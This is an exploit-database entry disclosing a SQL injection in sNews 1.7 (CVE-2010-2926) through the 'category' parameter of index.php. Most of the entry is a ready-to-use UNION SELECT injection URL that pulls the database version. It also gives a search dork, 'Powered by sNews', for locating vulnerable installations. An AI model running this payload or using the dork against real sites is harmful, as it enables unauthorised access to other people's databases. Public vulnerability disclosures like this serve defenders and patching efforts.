sNews 1.7 - 'index.php?category' SQL Injection

Author: CoBRa_21
type: webapps
platform: php
port: 
date_added: 2010-07-24 
date_updated: 2010-07-24 
verified: 1 
codes: CVE-2010-2926;OSVDB-66815 
tags: 
aliases:  
screenshot_url:  
application_url: 

########################################################################################

sNews v1.7 (index.php?category) SQL Injection Vulnerability

########################################################################################

Author : CoBRa_21

Author Web Page : http://www.ipbul.org

Dork: "Powered by sNews"

########################################################################################

Sql Injection:

http://localhost/[path]/index.php?category=-3 union select 0,version(),2,3,4,5,6,7,8

########################################################################################
Thanks http://e-banka.org & http://www.cyber-warrior.org
########################################################################################